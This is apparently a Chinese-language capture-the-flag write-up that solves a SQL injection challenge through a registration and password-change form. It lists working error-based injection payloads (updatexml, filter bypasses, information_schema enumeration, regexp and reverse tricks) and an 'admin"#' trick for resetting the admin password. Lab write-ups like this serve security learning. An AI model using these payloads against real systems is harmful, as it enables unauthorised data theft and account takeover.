第一眼没看出来 我以为是伪造管理员
就先去测试管理员账号
去register.php
注册 首先先注册一个自己的账号
我喜欢用admin123
发现里面存在修改密码的内容 那么肯定链接到数据库了
题目又提示是sql
那我们看看能不能修改管理员密码
首先我们猜测闭合
通过用户名
admin"
然后点击修改密码 进行修改密码
发现报错了
这里我们就可以先进行判断sql语句了
select * from users where username="admin"" and pwd='21232f297a57a5a743894a0e4a801fc3
那我们这里就很简单了 因为修改成功没有回显 报错有回显
我们直接报错注入即可
admin"or(updatexml(1,0x7e,4))#
发现报错了 肯定存在过滤
那我们fuzz一下
and 和 空格被过滤
绕过即可
admin"or(updatexml(1,0x7e,4))#
报错成功
我们开始注入
admin"or(updatexml(1,concat(0x7e,database()),3))#
数据库为 web_sqli
admin"or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="web_sqli"))),4))#
爆出表名为 article,flag,users
admin"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users"))),4))#
这里就有一个坑
报错出来是错的。。。。 应该是here
晕咯 学习一下函数
regexp
regexp('^r')
这个函数可以通过正则来匹配字段 这里就是 r开头的字段
admin"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users")&&(column_name)regexp('^r'))),4))#
接着写
admin"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),4))#
flag开头 那我们直接查f开头即可
admin"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),4))#
还有一半无法读取 并且无法使用
看了wp 使用逆序输出 然后使用脚本恢复即可
reverse
admin"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),4))#
flag='}0e330032cd22-f828-d154-53d8-6e'
flag=flag[::-1]
print(flag)
拼接即可得出flag
其他
提一嘴 我们只要知道了闭合就可以修改管理员密码了
admin"#
然后修改 密码 就可以登入 admin账号了 但是这道题没有用就是了